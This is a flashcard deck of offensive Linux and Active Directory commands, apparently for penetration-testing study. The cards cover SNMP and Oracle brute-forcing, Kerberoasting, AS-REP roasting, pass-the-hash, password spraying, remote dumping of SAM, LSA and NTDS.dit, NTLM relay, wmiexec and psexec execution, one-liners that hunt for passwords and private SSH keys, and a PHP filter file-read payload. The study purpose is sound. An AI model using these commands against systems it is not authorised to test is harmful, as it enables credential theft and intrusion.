Linux Hacking Commands Flashcards

1
Q

How to walk OIDs snmp?

A

snmpwalk -v2c -c [comunity string] [ip]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

How to brute force community strings snmp?

A

onesixtyone -c [wordlist] [ip]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

How to bruteforce OIDs snmp?

A

braa [community string]@[ip]:.1.3.6.*

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

How to bruteforce oracle sids with nmap?

A

sudo nmap -p 1521 –open –script oracle-sid-brute

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

How to enumerate oracledb service?

A

./odat.py all -s [ip]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

How to connect to oracledb service?

A

sqlplus [user]/[pass]@[ip]/[sid]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

How to enumerate IPMI with nmap?

A

sudo nmap -sU –script ipmi-version -p 623 [hostname]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What is the IPMI dumphashes module metasploit?

A

use auxiliary/scanner/ipmi/ipmi_dumphashes

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

How to use xfreerdp with pass the hash?

A

xfreerdp /v:[ip] /u:[user] /pth:[hash]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How to kerberoast with impacket

A

GetUserSPNs.py [Domain/Username:password] -dc-ip [dc_ip] -request

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

How to kerberoast on domain joined machine rubeus?

A

Rubeus.exe kerberoast

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How to check if smbexec is enabled with smbmap?

A

smbmap -H $ip -u [username] -p [password] -x “whoami”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

how to map an smb share with smbmap?

A

smbmap -H [ip] -u [username] -p [password] -r [share name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

How to spray passwords for AD users?

A

nxc smb [host] -u [wordlist of users] -p [password wordlist] –continue-on-success

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

How to spray hashes for AD users?

A

nxc smb [host] -u [wordlist of users] -H [hash list] –continue-on-success

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

How to check if smb exec is enabled with nxc?

A

nxc smb [ip] -u [user] -d [doamin] -p [pass] -x whoami

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

How to check if smb exec is enabled with nxc and execute command with local admin?

A

nxc smb [ip] -u [user] -d [doamin] -p [pass] -x whoami —local-auth

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

How to enumerate smb shares with nxc?

A

crackmapexec smb [ip] -u [user] -p [pass] –shares

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

How to enumerate domain users with rid brute?

A

nxc smb $ip -u [user] -p [pass] –rid-brute

20
Q

How to remotely dump lsa?

A

crackmapexec smb [ip] –local-auth -u ‘admin’ -p [pass] –lsa

21
Q

How to remotely dump SAM?

A

crackmapexec smb [ip] –local-auth -u ‘admin’ -p [pass] –sam

22
Q

How to remotely dump NTDS.dit

A

crackmapexec smb [ip] -u [user] -p [pass] –ntds

23
Q

How to remotely execute commands with wmi?

A

wmiexec.py [user]:[pass]@[ip] [command]

24
Q

How to remotely execute commands with wmi by passing a hash?

A

python3 wmiexec.py [user]:[pass]@[ip] -hashes [hash] [command]

25
Q

How to psexec remotely?

A

python3 psexec.py [user]:[pass]@[ip] [command]

26
Q

How to find AS-REP roastable users?

A

ldapdomaindump -u ‘[doamin][user]’ -p [pass] [ip]

27
Q

How to AS-REP roast with user list?

A

python3 GetNPUsers.py -dc-ip [ip] [domain]/ -usersfile users.txt

28
Q

How to crack AS-REP roast hashes?

A

hashcat -m 18200 [hashes] [wordlist] –force

29
Q

How to set up an NTLM relay smb server? 1

A

python3 ntlmrelayx.py -smb2support -o hashfile

30
Q

How to set up an NTLM relay smb server? 2

A

impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp

31
Q

How to enumerate AD Users using smb exec?

A

python3 GetADUsers.py [domain]/[user]:[pass] -dc-ip [ip]

32
Q

How to enumerate AD Users using smb exec by passing the hash?

A

python3 GetADUsers.py [domain]/[user]@[ip] -hashes [hash]

33
Q

How to dump SAM and LSA?

A

impacket-secretsdump -sam [sam] -system [system] -security [security]

34
Q

How to connect to smb share with pass the hash?

A

impacket-smbclient -hashes [hash] [domain]/[user]@[ip]

35
Q

How to convert windows ccache to linux kirbi? and vice versa

A

imacket-ticketConverter [ccache] [kirbi]

36
Q

How to easily enumerate an AD domain quickly?

A

enum4linux -a

37
Q

How to spider an smb share?

A

smbmap -H [target_ip] -u [username] -p [password] -R [share_name] –depth 5

38
Q

How to download a file from an smb share with smbmap?

A

smbmap -H [target_ip] -u [username] -p [password] -s [share] –download ‘[share][remote_file_path]’

39
Q

How to search for files with credentials?

A

for l in $(echo “.conf .config .cnf”);do echo -e “\nFile extension: “ $l; find / -name *$l 2>/dev/null | grep -v “lib|fonts|share|core” ;done

40
Q

How to search for files with passwords?

A

for i in $(find / -name *.cnf 2>/dev/null | grep -v “doc|lib”);do echo -e “\nFile: “ $i; grep “user|password|pass” $i 2>/dev/null | grep -v “#“;done

41
Q

How to search for databases?

A

for l in $(echo “.sql .db .db .db”);do echo -e “\nDB File extension: “ $l; find / -name *$l 2>/dev/null | grep -v “doc|lib|headers|share|man”;done

42
Q

How to look for txt files (notes) in home directory?

A

find /home/* -type f -name “.txt” -o ! -name “.*”

43
Q

How to look for scripts?

A

for l in $(echo “.py .pyc .pl .go .jar .c .sh”);do echo -e “\nFile extension: “ $l; find / -name *$l 2>/dev/null | grep -v “doc|lib|headers|share”;done

44
Q

How to check cronjobs?

A

cat /etc/crontab

45
Q

How to search for private SSH keys?

A

grep -rnw “PRIVATE KEY” /home/* 2>/dev/null | grep “:1”

46
Q

How to look for public SSH keys?

A

grep -rnw “ssh-rsa” /home/* 2>/dev/null | grep “:1”

47
Q

What is the payload for base64 PHP filter?

A

php://filter/read=convert.base64-encode/resource=[file]